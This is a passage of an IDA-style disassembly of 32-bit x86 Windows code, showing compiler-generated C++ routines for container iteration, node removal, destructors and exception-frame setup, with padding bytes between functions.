		mov	dword ptr [esp+18h], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_414CC7
		lea	ecx, [esp+4]
		mov	dword ptr [esp+8], 0
		call	sub_401037
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jz	short loc_414C7F


loc_414C34:				; CODE XREF: ___:00414C7Dj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011D1
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_414C5C
		lea	ecx, [esp+4]
		call	sub_4011D1
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_414C5C:				; CODE XREF: ___:00414C4Bj
		lea	ecx, [esp+4]
		call	sub_4018C5
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jnz	short loc_414C34


loc_414C7F:				; CODE XREF: ___:00414C32j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_414CC7
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401154
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_414CA2
		push	1
		call	sub_4011C7
; ---------------------------------------------------------------------------


loc_414CA2:				; CODE XREF: ___:00414C99j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_414CC7:				; CODE XREF: ___:00414BEEj
					; ___:00414C85j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D40	proc near		; CODE XREF: sub_4011C7j
		push	esi
		mov	esi, ecx
		call	sub_401B59
sub_414D40	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_414D58
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414D58:				; CODE XREF: ___:00414D4Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D70	proc near		; CODE XREF: sub_401B59j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414D70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_401582
sub_414D70	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+10h], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414E10	proc near		; CODE XREF: sub_4014C9j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_414E10
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414F0B
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_4014D3
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	offset byte_448F40
		call	sub_401870
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC6E
		mov	[esp+88h+var_4], ebx
		call	sub_40212B
		test	al, al
		jz	loc_415040
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414F0B:				; CODE XREF: sub_414E10+36j
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_415040
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_4014D3
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_4014D3
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_4014D3
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset asc_444600 ; " "
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011EA
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	offset asc_444600 ; " "
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC6E
		mov	[esp+0D0h+var_4], ebx
		call	sub_4018AC
		test	al, al
		jz	short loc_415040
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_415040:				; CODE XREF: sub_414E10+82j
					; sub_414E10+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_414E10	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415100	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401ED8
sub_415100	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415140	proc near		; CODE XREF: sub_401726j

arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401ED8
sub_415140	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_4016D6
		mov	edx, [eax]
		lea	eax, [esp+8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40113B
		mov	ecx, [eax]
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_401735
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4151C0	proc near		; CODE XREF: sub_401582j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40146F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CE9
sub_4151C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415230	proc near		; CODE XREF: sub_4012E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401DBB
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415230	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415270	proc near		; CODE XREF: sub_401D9Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401DBB
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415270	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4152A0	proc near		; CODE XREF: sub_401488j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401D9D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40217B
sub_4152A0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152E0	proc near		; CODE XREF: sub_401258j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401D70
		test	al, al
		jz	short loc_41536D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41531F:				; CODE XREF: sub_4152E0+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_401FC3
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415351
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401578
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401FCD
; ---------------------------------------------------------------------------
		jmp	short loc_41535A
; ---------------------------------------------------------------------------


loc_415351:				; CODE XREF: sub_4152E0+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4020C2


loc_41535A:				; CODE XREF: sub_4152E0+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401D70
		test	al, al
		jnz	short loc_41531F
		pop	edi


loc_41536D:				; CODE XREF: sub_4152E0+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_4152E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153B0	proc near		; CODE XREF: sub_401E38j
		push	esi
		mov	esi, ecx
		call	sub_401ED3
		mov	eax, esi
		pop	esi
		retn
sub_4153B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153D0	proc near		; CODE XREF: sub_401FC3j
		mov	eax, [ecx]
		push	eax
		call	sub_401F19
		add	esp, 4
		retn
sub_4153D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153F0	proc near		; CODE XREF: sub_4020C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4153F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415420	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415420	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415450	proc near		; CODE XREF: sub_401F23j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C8F
sub_415450	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415490	proc near		; CODE XREF: sub_4011B8j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E33
sub_415490	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415500	proc near		; CODE XREF: sub_401992j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401CDA
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415500	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415540	proc near		; CODE XREF: sub_402257j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401CDA
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415540	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415570	proc near		; CODE XREF: sub_401F0Fj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402257
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401AAA
sub_415570	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155B0	proc near		; CODE XREF: sub_401933j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		pop	esi
		add	esp, 0Ch
		retn
sub_4155B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415600	proc near		; CODE XREF: sub_401154j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401AEB
		test	al, al
		jz	short loc_41568D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41563F:				; CODE XREF: sub_415600+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_4011D1
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415671
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010DC
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4017E9
; ---------------------------------------------------------------------------
		jmp	short loc_41567A
; ---------------------------------------------------------------------------


loc_415671:				; CODE XREF: sub_415600+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4018C5


loc_41567A:				; CODE XREF: sub_415600+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401AEB
		test	al, al
		jnz	short loc_41563F
		pop	edi


loc_41568D:				; CODE XREF: sub_415600+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415600	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156D0	proc near		; CODE XREF: sub_401037j
		push	esi
		mov	esi, ecx
		call	sub_401E97
		mov	eax, esi
		pop	esi
		retn
sub_4156D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156F0	proc near		; CODE XREF: sub_4011D1j
		mov	eax, [ecx]
		push	eax
		call	sub_402144
		add	esp, 4
		retn
sub_4156F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415710	proc near		; CODE XREF: sub_4018C5j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415710	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415740	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401EC4
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415740	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415770	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401DB6
sub_415770	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4157B0	proc near		; CODE XREF: sub_4014BFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401F14
sub_4157B0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415820	proc near		; CODE XREF: sub_401901j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D7A
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415820	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415860	proc near		; CODE XREF: sub_40114Aj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D7A
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415860	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415890	proc near		; CODE XREF: sub_401410j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401D11
sub_415890	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4158D0	proc near		; CODE XREF: sub_401C76j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		pop	esi
		add	esp, 0Ch
		retn
sub_4158D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415920	proc near		; CODE XREF: sub_40214Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401339
		test	al, al
		jz	short loc_4159AD
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41595F:				; CODE XREF: sub_415920+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_40135C
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415991
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401EBF
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		jmp	short loc_41599A
; ---------------------------------------------------------------------------


loc_415991:				; CODE XREF: sub_415920+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_40118B


loc_41599A:				; CODE XREF: sub_415920+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401339
		test	al, al
		jnz	short loc_41595F
		pop	edi


loc_4159AD:				; CODE XREF: sub_415920+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415920	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159F0	proc near		; CODE XREF: sub_402275j
		push	esi
		mov	esi, ecx
		call	sub_401E42
		mov	eax, esi
		pop	esi
		retn
sub_4159F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A10	proc near		; CODE XREF: sub_40135Cj
		mov	eax, [ecx]
		push	eax
		call	sub_4017E4
		add	esp, 4
		retn
sub_415A10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A30	proc near		; CODE XREF: sub_40118Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415A30	endp

; ---------------------------------------------------------------------------
